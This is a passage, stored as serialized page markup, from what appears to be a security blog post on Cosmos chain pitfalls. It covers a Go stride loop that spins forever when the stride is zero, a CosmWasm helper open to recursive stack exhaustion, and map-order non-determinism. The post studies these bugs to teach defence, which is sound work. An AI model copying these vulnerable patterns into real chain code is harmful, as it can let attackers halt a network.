MsgSumWithStrideResponse",{"type":24,"tag":83,"props":75975,"children":75976},{"style":90},[75977],{"type":29,"value":20891},{"type":24,"tag":83,"props":75979,"children":75980},{"style":107},[75981],{"type":29,"value":125},{"type":24,"tag":83,"props":75983,"children":75984},{"class":85,"line":270},[75985,75990],{"type":24,"tag":83,"props":75986,"children":75987},{"style":137},[75988],{"type":29,"value":75989},"    Sum",{"type":24,"tag":83,"props":75991,"children":75992},{"style":3163},[75993],{"type":29,"value":75917},{"type":24,"tag":83,"props":75995,"children":75996},{"class":85,"line":302},[75997],{"type":24,"tag":83,"props":75998,"children":75999},{"style":107},[76000],{"type":29,"value":464},{"type":24,"tag":83,"props":76002,"children":76003},{"class":85,"line":324},[76004],{"type":24,"tag":83,"props":76005,"children":76006},{"emptyLinePlaceholder":16},[76007],{"type":29,"value":3422},{"type":24,"tag":83,"props":76009,"children":76010},{"class":85,"line":345},[76011,76016,76020,76025,76030,76034,76039],{"type":24,"tag":83,"props":76012,"children":76013},{"style":90},[76014],{"type":29,"value":76015},"func",{"type":24,"tag":83,"props":76017,"children":76018},{"style":107},[76019],{"type":29,"value":223},{"type":24,"tag":83,"props":76021,"children":76022},{"style":137},[76023],{"type":29,"value":76024},"ms ",{"type":24,"tag":83,"props":76026,"children":76027},{"style":3163},[76028],{"type":29,"value":76029},"msgServer",{"type":24,"tag":83,"props":76031,"children":76032},{"style":107},[76033],{"type":29,"value":633},{"type":24,"tag":83,"props":76035,"children":76036},{"style":101},[76037],{"type":29,"value":76038},"SumWithStride",{"type":24,"tag":83,"props":76040,"children":76041},{"style":107},[76042],{"type":29,"value":3208},{"type":24,"tag":83,"props":76044,"children":76045},{"class":85,"line":358},[76046,76051,76056,76060,76065],{"type":24,"tag":83,"props":76047,"children":76048},{"style":137},[76049],{"type":29,"value":76050},"    goCtx",{"type":24,"tag":83,"props":76052,"children":76053},{"style":3163},[76054],{"type":29,"value":76055}," context",{"type":24,"tag":83,"props":76057,"children":76058},{"style":107},[76059],{"type":29,"value":161},{"type":24,"tag":83,"props":76061,"children":76062},{"style":3163},[76063],{"type":29,"value":76064},"Context",{"type":24,"tag":83,"props":76066,"children":76067},{"style":107},[76068],{"type":29,"value":989},{"type":24,"tag":83,"props":76070,"children":76071},{"class":85,"line":367},[76072,76077,76081,76086],{"type":24,"tag":83,"props":76073,"children":76074},{"style":137},[76075],{"type":29,"value":76076},"    msg",{"type":24,"tag":83,"props":76078,"children":76079},{"style":143},[76080],{"type":29,"value":9563},{"type":24,"tag":83,"props":76082,"children":76083},{"style":3163},[76084],{"type":29,"value":76085},"MsgSumWithStrideParams",{"type":24,"tag":83,"props":76087,"children":76088},{"style":107},[76089],{"type":29,"value":989},{"type":24,"tag":83,"props":76091,"children":76092},{"class":85,"line":406},[76093,76098,76102,76107,76111,76115],{"type":24,"tag":83,"props":76094,"children":76095},{"style":107},[76096],{"type":29,"value":76097},") (",{"type":24,"tag":83,"props":76099,"children":76100},{"style":143},[76101],{"type":29,"value":4315},{"type":24,"tag":83,"props":76103,"children":76104},{"style":3163},[76105],{"type":29,"value":76106},"MsgSumWithStrideResponse",{"type":24,"tag":83,"props":76108,"children":76109},{"style":107},[76110],{"type":29,"value":568},{"type":24,"tag":83,"props":76112,"children":76113},{"style":3163},[76114],{"type":29,"value":14606},{"type":24,"tag":83,"props":76116,"children":76117},{"style":107},[76118],{"type":29,"value":253},{"type":24,"tag":83,"props":76120,"children":76121},{"class":85,"line":427},[76122,76127,76132,76137,76141,76145],{"type":24,"tag":83,"props":76123,"children":76124},{"style":137},[76125],{"type":29,"value":76126},"    sum",{"type":24,"tag":83,"props":76128,"children":76129},{"style":143},[76130],{"type":29,"value":76131}," :=",{"type":24,"tag":83,"props":76133,"children":76134},{"style":3163},[76135],{"type":29,"value":76136}," uint64",{"type":24,"tag":83,"props":76138,"children":76139},{"style":107},[76140],{"type":29,"value":558},{"type":24,"tag":83,"props":76142,"children":76143},{"style":245},[76144],{"type":29,"value":1166},{"type":24,"tag":83,"props":76146,"children":76147},{"style":107},[76148],{"type":29,"value":2905},{"type":24,"tag":83,"props":76150,"children":76151},{"class":85,"line":440},[76152,76157,76161,76165,76169,76173,76177,76181,76185,76190],{"type":24,"tag":83,"props":76153,"children":76154},{"style":137},[76155],{"type":29,"value":76156},"    end",{"type":24,"tag":83,"props":76158,"children":76159},{"style":143},[76160],{"type":29,"value":76131},{"type":24,"tag":83,"props":76162,"children":76163},{"style":3163},[76164],{"type":29,"value":76136},{"type":24,"tag":83,"props":76166,"children":76167},{"style":107},[76168],{"type":29,"value":558},{"type":24,"tag":83,"props":76170,"children":76171},{"style":101},[76172],{"type":29,"value":8885},{"type":24,"tag":83,"props":76174,"children":76175},{"style":107},[76176],{"type":29,"value":558},{"type":24,"tag":83,"props":76178,"children":76179},{"style":137},[76180],{"type":29,"value":57660},{"type":24,"tag":83,"props":76182,"children":76183},{"style":107},[76184],{"type":29,"value":161},{"type":24,"tag":83,"props":76186,"children":76187},{"style":137},[76188],{"type":29,"value":76189},"Arr",{"type":24,"tag":83,"props":76191,"children":76192},{"style":107},[76193],{"type":29,"value":19452},{"type":24,"tag":83,"props":76195,"children":76196},{"class":85,"line":449},[76197,76201,76206,76210,76215,76219,76224,76228,76233,76237,76242,76246,76250,76254,76258,76262,76267],{"type":24,"tag":83,"props":76198,"children":76199},{"style":117},[76200],{"type":29,"value":2777},{"type":24,"tag":83,"props":76202,"children":76203},{"style":137},[76204],{"type":29,"value":76205}," idx",{"type":24,"tag":83,"props":76207,"children":76208},{"style":143},[76209],{"type":29,"value":76131},{"type":24,"tag":83,"props":76211,"children":76212},{"style":137},[76213],{"type":29,"value":76214}," msg",{"type":24,"tag":83,"props":76216,"children":76217},{"style":107},[76218],{"type":29,"value":161},{"type":24,"tag":83,"props":76220,"children":76221},{"style":137},[76222],{"type":29,"value":76223},"Start",{"type":24,"tag":83,"props":76225,"children":76226},{"style":107},[76227],{"type":29,"value":16963},{"type":24,"tag":83,"props":76229,"children":76230},{"style":137},[76231],{"type":29,"value":76232},"idx",{"type":24,"tag":83,"props":76234,"children":76235},{"style":143},[76236],{"type":29,"value":8463},{"type":24,"tag":83,"props":76238,"children":76239},{"style":137},[76240],{"type":29,"value":76241}," end",{"type":24,"tag":83,"props":76243,"children":76244},{"style":107},[76245],{"type":29,"value":16963},{"type":24,"tag":83,"props":76247,"children":76248},{"style":137},[76249],{"type":29,"value":76232},{"type":24,"tag":83,"props":76251,"children":76252},{"style":143},[76253],{"type":29,"value":14807},{"type":24,"tag":83,"props":76255,"children":76256},{"style":137},[76257],{"type":29,"value":76214},{"type":24,"tag":83,"props":76259,"children":76260},{"style":107},[76261],{"type":29,"value":161},{"type":24,"tag":83,"props":76263,"children":76264},{"style":137},[76265],{"type":29,"value":76266},"Stride",{"type":24,"tag":83,"props":76268,"children":76269},{"style":107},[76270],{"type":29,"value":125},{"type":24,"tag":83,"props":76272,"children":76273},{"class":85,"line":458},[76274,76279,76283,76287,76291,76295,76299,76303],{"type":24,"tag":83,"props":76275,"children":76276},{"style":137},[76277],{"type":29,"value":76278},"        sum",{"type":24,"tag":83,"props":76280,"children":76281},{"style":143},[76282],{"type":29,"value":14807},{"type":24,"tag":83,"props":76284,"children":76285},{"style":137},[76286],{"type":29,"value":76214},{"type":24,"tag":83,"props":76288,"children":76289},{"style":107},[76290],{"type":29,"value":161},{"type":24,"tag":83,"props":76292,"children":76293},{"style":137},[76294],{"type":29,"value":76189},{"type":24,"tag":83,"props":76296,"children":76297},{"style":107},[76298],{"type":29,"value":1161},{"type":24,"tag":83,"props":76300,"children":76301},{"style":137},[76302],{"type":29,"value":76232},{"type":24,"tag":83,"props":76304,"children":76305},{"style":107},[76306],{"type":29,"value":1453},{"type":24,"tag":83,"props":76308,"children":76309},{"class":85,"line":1065},[76310],{"type":24,"tag":83,"props":76311,"children":76312},{"style":107},[76313],{"type":29,"value":446},{"type":24,"tag":83,"props":76315,"children":76316},{"class":85,"line":1668},[76317,76321,76325,76329,76334,76339,76343,76348,76353],{"type":24,"tag":83,"props":76318,"children":76319},{"style":117},[76320],{"type":29,"value":16725},{"type":24,"tag":83,"props":76322,"children":76323},{"style":143},[76324],{"type":29,"value":6888},{"type":24,"tag":83,"props":76326,"children":76327},{"style":3163},[76328],{"type":29,"value":76106},{"type":24,"tag":83,"props":76330,"children":76331},{"style":107},[76332],{"type":29,"value":76333},"{",{"type":24,"tag":83,"props":76335,"children":76336},{"style":137},[76337],{"type":29,"value":76338},"Sum",{"type":24,"tag":83,"props":76340,"children":76341},{"style":107},[76342],{"type":29,"value":1920},{"type":24,"tag":83,"props":76344,"children":76345},{"style":137},[76346],{"type":29,"value":76347},"sum",{"type":24,"tag":83,"props":76349,"children":76350},{"style":107},[76351],{"type":29,"value":76352},"}, ",{"type":24,"tag":83,"props":76354,"children":76355},{"style":90},[76356],{"type":29,"value":76357},"nil\n",{"type":24,"tag":83,"props":76359,"children":76360},{"class":85,"line":1713},[76361],{"type":24,"tag":83,"props":76362,"children":76363},{"style":107},[76364],{"type":29,"value":464},{"type":24,"tag":25,"props":76366,"children":76367},{},[76368,76370,76375,76376,76382],{"type":29,"value":76369},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":24,"tag":32,"props":76371,"children":76373},{"className":76372},[],[76374],{"type":29,"value":76232},{"type":29,"value":7061},{"type":24,"tag":32,"props":76377,"children":76379},{"className":76378},[],[76380],{"type":29,"value":76381},"stride",{"type":29,"value":76383},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":24,"tag":25,"props":76385,"children":76386},{},[76387],{"type":29,"value":76388},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":24,"tag":25,"props":76390,"children":76391},{},[76392],{"type":29,"value":76393},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":24,"tag":25,"props":76395,"children":76396},{},[76397],{"type":29,"value":76398},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":24,"tag":1818,"props":76400,"children":76402},{"id":76401},"real-world-examples",[76403],{"type":29,"value":76404},"Real-World Examples",{"type":24,"tag":25,"props":76406,"children":76407},{},[76408],{"type":29,"value":76409},"Now, let's examine a few real-world instances.",{"type":24,"tag":25,"props":76411,"children":76412},{},[76413,76415,76421,76422,76428,76430,76436,76438,76444],{"type":29,"value":76414},"In the case of ",{"type":24,"tag":2033,"props":76416,"children":76419},{"href":76417,"rel":76418},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[2037],[76420],{"type":29,"value":563},{"type":29,"value":6204},{"type":24,"tag":32,"props":76423,"children":76425},{"className":76424},[],[76426],{"type":29,"value":76427},"CosmWasm",{"type":29,"value":76429}," bug, the helper method ",{"type":24,"tag":32,"props":76431,"children":76433},{"className":76432},[],[76434],{"type":29,"value":76435},"write_to_contract",{"type":29,"value":76437}," negligently calls the untrusted Wasm function ",{"type":24,"tag":32,"props":76439,"children":76441},{"className":76440},[],[76442],{"type":29,"value":76443},"\"allocate\"",{"type":29,"value":161},{"type":24,"tag":25,"props":76446,"children":76447},{},[76448],{"type":24,"tag":2033,"props":76449,"children":76452},{"href":76450,"rel":76451},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[2037],[76453],{"type":29,"value":76454},"Permalink for snippet",{"type":24,"tag":73,"props":76456,"children":76458},{"code":76457,"language":2724,"meta":7,"className":2725,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[76459],{"type":24,"tag":32,"props":76460,"children":76461},{"__ignoreMap":7},[76462,76531,76579,76607,76636,76685,76759,76804,76827,76872,76879,76936,76955],{"type":24,"tag":83,"props":76463,"children":76464},{"class":85,"line":86},[76465,76469,76474,76478,76483,76487,76492,76496,76500,76504,76509,76513,76518,76522,76527],{"type":24,"tag":83,"props":76466,"children":76467},{"style":90},[76468],{"type":29,"value":20007},{"type":24,"tag":83,"props":76470,"children":76471},{"style":101},[76472],{"type":29,"value":76473}," write_to_contract",{"type":24,"tag":83,"props":76475,"children":76476},{"style":107},[76477],{"type":29,"value":5552},{"type":24,"tag":83,"props":76479,"children":76480},{"style":3163},[76481],{"type":29,"value":76482},"A",{"type":24,"tag":83,"props":76484,"children":76485},{"style":143},[76486],{"type":29,"value":195},{"type":24,"tag":83,"props":76488,"children":76489},{"style":3163},[76490],{"type":29,"value":76491}," BackendApi",{"type":24,"tag":83,"props":76493,"children":76494},{"style":107},[76495],{"type":29,"value":568},{"type":24,"tag":83,"props":76497,"children":76498},{"style":3163},[76499],{"type":29,"value":21790},{"type":24,"tag":83,"props":76501,"children":76502},{"style":143},[76503],{"type":29,"value":195},{"type":24,"tag":83,"props":76505,"children":76506},{"style":3163},[76507],{"type":29,"value":76508}," Storage",{"type":24,"tag":83,"props":76510,"children":76511},{"style":107},[76512],{"type":29,"value":568},{"type":24,"tag":83,"props":76514,"children":76515},{"style":3163},[76516],{"type":29,"value":76517},"Q",{"type":24,"tag":83,"props":76519,"children":76520},{"style":143},[76521],{"type":29,"value":195},{"type":24,"tag":83,"props":76523,"children":76524},{"style":3163},[76525],{"type":29,"value":76526}," Querier",{"type":24,"tag":83,"props":76528,"children":76529},{"style":107},[76530],{"type":29,"value":6335},{"type":24,"tag":83,"props":76532,"children":76533},{"class":85,"line":113},[76534,76538,76542,76546,76551,76555,76559,76563,76567,76571,76575],{"type":24,"tag":83,"props":76535,"children":76536},{"style":137},[76537],{"type":29,"value":3584},{"type":24,"tag":83,"props":76539,"children":76540},{"style":143},[76541],{"type":29,"value":195},{"type":24,"tag":83,"props":76543,"children":76544},{"style":143},[76545],{"type":29,"value":6888},{"type":24,"tag":83,"props":76547,"children":76548},{"style":3163},[76549],{"type":29,"value":76550},"Environment",{"type":24,"tag":83,"props":76552,"children":76553},{"style":107},[76554],{"type":29,"value":5552},{"type":24,"tag":83,"props":76556,"children":76557},{"style":3163},[76558],{"type":29,"value":76482},{"type":24,"tag":83,"props":76560,"children":76561},{"style":107},[76562],{"type":29,"value":568},{"type":24,"tag":83,"props":76564,"children":76565},{"style":3163},[76566],{"type":29,"value":21790},{"type":24,"tag":83,"props":76568,"children":76569},{"style":107},[76570],{"type":29,"value":568},{"type":24,"tag":83,"props":76572,"children":76573},{"style":3163},[76574],{"type":29,"value":76517},{"type":24,"tag":83,"props":76576,"children":76577},{"style":107},[76578],{"type":29,"value":5884},{"type":24,"tag":83,"props":76580,"children":76581},{"class":85,"line":128},[76582,76587,76591,76595,76599,76603],{"type":24,"tag":83,"props":76583,"children":76584},{"style":137},[76585],{"type":29,"value":76586},"    input",{"type":24,"tag":83,"props":76588,"children":76589},{"style":143},[76590],{"type":29,"value":195},{"type":24,"tag":83,"props":76592,"children":76593},{"style":143},[76594],{"type":29,"value":6888},{"type":24,"tag":83,"props":76596,"children":76597},{"style":107},[76598],{"type":29,"value":1161},{"type":24,"tag":83,"props":76600,"children":76601},{"style":3163},[76602],{"type":29,"value":3166},{"type":24,"tag":83,"props":76604,"children":76605},{"style":107},[76606],{"type":29,"value":14006},{"type":24,"tag":83,"props":76608,"children":76609},{"class":85,"line":183},[76610,76614,76618,76623,76627,76632],{"type":24,"tag":83,"props":76611,"children":76612},{"style":107},[76613],{"type":29,"value":633},{"type":24,"tag":83,"props":76615,"children":76616},{"style":143},[76617],{"type":29,"value":13502},{"type":24,"tag":83,"props":76619,"children":76620},{"style":3163},[76621],{"type":29,"value":76622}," VmResult",{"type":24,"tag":83,"props":76624,"children":76625},{"style":107},[76626],{"type":29,"value":5552},{"type":24,"tag":83,"props":76628,"children":76629},{"style":3163},[76630],{"type":29,"value":76631},"u32",{"type":24,"tag":83,"props":76633,"children":76634},{"style":107},[76635],{"type":29,"value":7028},{"type":24,"tag":83,"props":76637,"children":76638},{"class":85,"line":203},[76639,76643,76648,76652,76657,76661,76665,76669,76673,76677,76681],{"type":24,"tag":83,"props":76640,"children":76641},{"style":90},[76642],{"type":29,"value":2746},{"type":24,"tag":83,"props":76644,"children":76645},{"style":137},[76646],{"type":29,"value":76647}," out_size",{"type":24,"tag":83,"props":76649,"children":76650},{"style":143},[76651],{"type":29,"value":146},{"type":24,"tag":83,"props":76653,"children":76654},{"style":101},[76655],{"type":29,"value":76656}," to_u32",{"type":24,"tag":83,"props":76658,"children":76659},{"style":107},[76660],{"type":29,"value":558},{"type":24,"tag":83,"props":76662,"children":76663},{"style":137},[76664],{"type":29,"value":8112},{"type":24,"tag":83,"props":76666,"children":76667},{"style":143},[76668],{"type":29,"value":161},{"type":24,"tag":83,"props":76670,"children":76671},{"style":101},[76672],{"type":29,"value":8885},{"type":24,"tag":83,"props":76674,"children":76675},{"style":107},[76676],{"type":29,"value":41680},{"type":24,"tag":83,"props":76678,"children":76679},{"style":143},[76680],{"type":29,"value":2900},{"type":24,"tag":83,"props":76682,"children":76683},{"style":107},[76684],{"type":29,"value":321},{"type":24,"tag":83,"props":76686,"children":76687},{"class":85,"line":212},[76688,76692,76696,76700,76704,76708,76713,76717,76721,76725,76729,76733,76738,76742,76746,76751,76755],{"type":24,"tag":83,"props":76689,"children":76690},{"style":90},[76691],{"type":29,"value":2746},{"type":24,"tag":83,"props":76693,"children":76694},{"style":137},[76695],{"type":29,"value":8906},{"type":24,"tag":83,"props":76697,"children":76698},{"style":143},[76699],{"type":29,"value":146},{"type":24,"tag":83,"props":76701,"children":76702},{"style":137},[76703],{"type":29,"value":42674},{"type":24,"tag":83,"props":76705,"children":76706},{"style":143},[76707],{"type":29,"value":161},{"type":24,"tag":83,"props":76709,"children":76710},{"style":101},[76711],{"type":29,"value":76712},"call_function1",{"type":24,"tag":83,"props":76714,"children":76715},{"style":107},[76716],{"type":29,"value":558},{"type":24,"tag":83,"props":76718,"children":76719},{"style":187},[76720],{"type":29,"value":76443},{"type":24,"tag":83,"props":76722,"children":76723},{"style":107},[76724],{"type":29,"value":568},{"type":24,"tag":83,"props":76726,"children":76727},{"style":143},[76728],{"type":29,"value":2853},{"type":24,"tag":83,"props":76730,"children":76731},{"style":107},[76732],{"type":29,"value":1161},{"type":24,"tag":83,"props":76734,"children":76735},{"style":137},[76736],{"type":29,"value":76737},"out_size",{"type":24,"tag":83,"props":76739,"children":76740},{"style":143},[76741],{"type":29,"value":161},{"type":24,"tag":83,"props":76743,"children":76744},{"style":101},[76745],{"type":29,"value":14628},{"type":24,"tag":83,"props":76747,"children":76748},{"style":107},[76749],{"type":29,"value":76750},"()])",{"type":24,"tag":83,"props":76752,"children":76753},{"style":143},[76754],{"type":29,"value":2900},{"type":24,"tag":83,"props":76756,"children":76757},{"style":107},[76758],{"type":29,"value":321},{"type":24,"tag":83,"props":76760,"children":76761},{"class":85,"line":256},[76762,76766,76771,76775,76780,76784,76788,76792,76796,76800],{"type":24,"tag":83,"props":76763,"children":76764},{"style":90},[76765],{"type":29,"value":2746},{"type":24,"tag":83,"props":76767,"children":76768},{"style":137},[76769],{"type":29,"value":76770}," target_ptr",{"type":24,"tag":83,"props":76772,"children":76773},{"style":143},[76774],{"type":29,"value":146},{"type":24,"tag":83,"props":76776,"children":76777},{"style":101},[76778],{"type":29,"value":76779}," ref_to_u32",{"type":24,"tag":83,"props":76781,"children":76782},{"style":107},[76783],{"type":29,"value":558},{"type":24,"tag":83,"props":76785,"children":76786},{"style":143},[76787],{"type":29,"value":2853},{"type":24,"tag":83,"props":76789,"children":76790},{"style":137},[76791],{"type":29,"value":8828},{"type":24,"tag":83,"props":76793,"children":76794},{"style":107},[76795],{"type":29,"value":2872},{"type":24,"tag":83,"props":76797,"children":76798},{"style":143},[76799],{"type":29,"value":2900},{"type":24,"tag":83,"props":76801,"children":76802},{"style":107},[76803],{"type":29,"value":321},{"type":24,"tag":83,"props":76805,"children":76806},{"class":85,"line":270},[76807,76811,76815,76819,76823],{"type":24,"tag":83,"props":76808,"children":76809},{"style":117},[76810],{"type":29,"value":218},{"type":24,"tag":83,"props":76812,"children":76813},{"style":137},[76814],{"type":29,"value":76770},{"type":24,"tag":83,"props":76816,"children":76817},{"style":143},[76818],{"type":29,"value":3028},{"type":24,"tag":83,"props":76820,"children":76821},{"style":245},[76822],{"type":29,"value":248},{"type":24,"tag":83,"props":76824,"children":76825},{"style":107},[76826],{"type":29,"value":125},{"type":24,"tag":83,"props":76828,"children":76829},{"class":85,"line":302},[76830,76834,76838,76842,76847,76851,76856,76860,76864,76868],{"type":24,"tag":83,"props":76831,"children":76832},{"style":117},[76833],{"type":29,"value":15482},{"type":24,"tag":83,"props":76835,"children":76836},{"style":3163},[76837],{"type":29,"value":15487},{"type":24,"tag":83,"props":76839,"children":76840},{"style":107},[76841],{"type":29,"value":558},{"type":24,"tag":83,"props":76843,"children":76844},{"style":3163},[76845],{"type":29,"value":76846},"CommunicationError",{"type":24,"tag":83,"props":76848,"children":76849},{"style":143},[76850],{"type":29,"value":3226},{"type":24,"tag":83,"props":76852,"children":76853},{"style":101},[76854],{"type":29,"value":76855},"zero_address",{"type":24,"tag":83,"props":76857,"children":76858},{"style":107},[76859],{"type":29,"value":13624},{"type":24,"tag":83,"props":76861,"children":76862},{"style":143},[76863],{"type":29,"value":161},{"type":24,"tag":83,"props":76865,"children":76866},{"style":101},[76867],{"type":29,"value":14628},{"type":24,"tag":83,"props":76869,"children":76870},{"style":107},[76871],{"type":29,"value":15164},{"type":24,"tag":83,"props":76873,"children":76874},{"class":85,"line":324},[76875],{"type":24,"tag":83,"props":76876,"children":76877},{"style":107},[76878],{"type":29,"value":446},{"type":24,"tag":83,"props":76880,"children":76881},{"class":85,"line":345},[76882,76887,76891,76895,76899,76903,76907,76911,76916,76920,76924,76928,76932],{"type":24,"tag":83,"props":76883,"children":76884},{"style":101},[76885],{"type":29,"value":76886},"    write_region",{"type":24,"tag":83,"props":76888,"children":76889},{"style":107},[76890],{"type":29,"value":558},{"type":24,"tag":83,"props":76892,"children":76893},{"style":143},[76894],{"type":29,"value":2853},{"type":24,"tag":83,"props":76896,"children":76897},{"style":137},[76898],{"type":29,"value":35425},{"type":24,"tag":83,"props":76900,"children":76901},{"style":143},[76902],{"type":29,"value":161},{"type":24,"tag":83,"props":76904,"children":76905},{"style":101},[76906],{"type":29,"value":75687},{"type":24,"tag":83,"props":76908,"children":76909},{"style":107},[76910],{"type":29,"value":18112},{"type":24,"tag":83,"props":76912,"children":76913},{"style":137},[76914],{"type":29,"value":76915},"target_ptr",{"type":24,"tag":83,"props":76917,"children":76918},{"style":107},[76919],{"type":29,"value":568},{"type":24,"tag":83,"props":76921,"children":76922},{"style":137},[76923],{"type":29,"value":8112},{"type":24,"tag":83,"props":76925,"children":76926},{"style":107},[76927],{"type":29,"value":2872},{"type":24,"tag":83,"props":76929,"children":76930},{"style":143},[76931],{"type":29,"value":2900},{"type":24,"tag":83,"props":76933,"children":76934},{"style":107},[76935],{"type":29,"value":321},{"type":24,"tag":83,"props":76937,"children":76938},{"class":85,"line":358},[76939,76943,76947,76951],{"type":24,"tag":83,"props":76940,"children":76941},{"style":3163},[76942],{"type":29,"value":14076},{"type":24,"tag":83,"props":76944,"children":76945},{"style":107},[76946],{"type":29,"value":558},{"type":24,"tag":83,"props":76948,"children":76949},{"style":137},[76950],{"type":29,"value":76915},{"type":24,"tag":83,"props":76952,"children":76953},{"style":107},[76954],{"type":29,"value":2905},{"type":24,"tag":83,"props":76956,"children":76957},{"class":85,"line":367},[76958],{"type":24,"tag":83,"props":76959,"children":76960},{"style":107},[76961],{"type":29,"value":464},{"type":24,"tag":25,"props":76963,"children":76964},{},[76965,76967,76973,76975,76980],{"type":29,"value":76966},"As users have complete control over ",{"type":24,"tag":32,"props":76968,"children":76970},{"className":76969},[],[76971],{"type":29,"value":76972},"allocate",{"type":29,"value":76974},", there is a possibility to call back ",{"type":24,"tag":32,"props":76976,"children":76978},{"className":76977},[],[76979],{"type":29,"value":76435},{"type":29,"value":76981}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":24,"tag":25,"props":76983,"children":76984},{},[76985,76987,76994],{"type":29,"value":76986},"Additional real-world examples include ",{"type":24,"tag":2033,"props":76988,"children":76991},{"href":76989,"rel":76990},"https://github.com/cosmos/cosmos-sdk/issues/16676",[2037],[76992],{"type":29,"value":76993},"not returning proper values for malformed txs",{"type":29,"value":161},{"type":24,"tag":51,"props":76996,"children":76998},{"id":76997},"order-was-the-dream-of-man",[76999],{"type":29,"value":77000},"Order Was the Dream of Man",{"type":24,"tag":25,"props":77002,"children":77003},{},[77004],{"type":29,"value":77005},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":24,"tag":25,"props":77007,"children":77008},{},[77009],{"type":29,"value":77010},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":24,"tag":73,"props":77012,"children":77014},{"code":77013,"language":75879,"meta":7,"className":75880,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[77015],{"type":24,"tag":32,"props":77016,"children":77017},{"__ignoreMap":7},[77018,77051,77058,77087,77124,77153,77174,77186,77223,77231,77238,77245],{"type":24,"tag":83,"props":77019,"children":77020},{"class":85,"line":86},[77021,77025,77030,77034,77038,77042,77046],{"type":24,"tag":83,"props":77022,"children":77023},{"style":90},[77024],{"type":29,"value":32495},{"type":24,"tag":83,"props":77026,"children":77027},{"style":3163},[77028],{"type":29,"value":77029}," ObjectMap",{"type":24,"tag":83,"props":77031,"children":77032},{"style":90},[77033],{"type":29,"value":49385},{"type":24,"tag":83,"props":77035,"children":77036},{"style":107},[77037],{"type":29,"value":1161},{"type":24,"tag":83,"props":77039,"children":77040},{"style":3163},[77041],{"type":29,"value":29418},{"type":24,"tag":83,"props":77043,"children":77044},{"style":107},[77045],{"type":29,"value":15151},{"type":24,"tag":83,"props":77047,"children":77048},{"style":3163},[77049],{"type":29,"value":77050},"string\n",{"type":24,"tag":83,"props":77052,"children":77053},{"class":85,"line":113},[77054],{"type":24,"tag":83,"props":77055,"children":77056},{"emptyLinePlaceholder":16},[77057],{"type":29,"value":3422},{"type":24,"tag":83,"props":77059,"children":77060},{"class":85,"line":128},[77061,77065,77070,77074,77079,77083],{"type":24,"tag":83,"props":77062,"children":77063},{"style":90},[77064],{"type":29,"value":76015},{"type":24,"tag":83,"props":77066,"children":77067},{"style":101},[77068],{"type":29,"value":77069}," EmitEntries",{"type":24,"tag":83,"props":77071,"children":77072},{"style":107},[77073],{"type":29,"value":558},{"type":24,"tag":83,"props":77075,"children":77076},{"style":137},[77077],{"type":29,"value":77078},"objectMap",{"type":24,"tag":83,"props":77080,"children":77081},{"style":3163},[77082],{"type":29,"value":77029},{"type":24,"tag":83,"props":77084,"children":77085},{"style":107},[77086],{"type":29,"value":253},{"type":24,"tag":83,"props":77088,"children":77089},{"class":85,"line":183},[77090,77094,77098,77102,77106,77110,77115,77120],{"type":24,"tag":83,"props":77091,"children":77092},{"style":117},[77093],{"type":29,"value":2777},{"type":24,"tag":83,"props":77095,"children":77096},{"style":137},[77097],{"type":29,"value":5677},{"type":24,"tag":83,"props":77099,"children":77100},{"style":107},[77101],{"type":29,"value":568},{"type":24,"tag":83,"props":77103,"children":77104},{"style":137},[77105],{"type":29,"value":38870},{"type":24,"tag":83,"props":77107,"children":77108},{"style":143},[77109],{"type":29,"value":76131},{"type":24,"tag":83,"props":77111,"children":77112},{"style":117},[77113],{"type":29,"value":77114}," range",{"type":24,"tag":83,"props":77116,"children":77117},{"style":137},[77118],{"type":29,"value":77119}," objectMap",{"type":24,"tag":83,"props":77121,"children":77122},{"style":107},[77123],{"type":29,"value":125},{"type":24,"tag":83,"props":77125,"children":77126},{"class":85,"line":203},[77127,77131,77135,77140,77144,77149],{"type":24,"tag":83,"props":77128,"children":77129},{"style":137},[77130],{"type":29,"value":25935},{"type":24,"tag":83,"props":77132,"children":77133},{"style":107},[77134],{"type":29,"value":161},{"type":24,"tag":83,"props":77136,"children":77137},{"style":137},[77138],{"type":29,"value":77139},"EventManager",{"type":24,"tag":83,"props":77141,"children":77142},{"style":107},[77143],{"type":29,"value":161},{"type":24,"tag":83,"props":77145,"children":77146},{"style":101},[77147],{"type":29,"value":77148},"EmitEvent",{"type":24,"tag":83,"props":77150,"children":77151},{"style":107},[77152],{"type":29,"value":3208},{"type":24,"tag":83,"props":77154,"children":77155},{"class":85,"line":212},[77156,77161,77165,77170],{"type":24,"tag":83,"props":77157,"children":77158},{"style":137},[77159],{"type":29,"value":77160},"            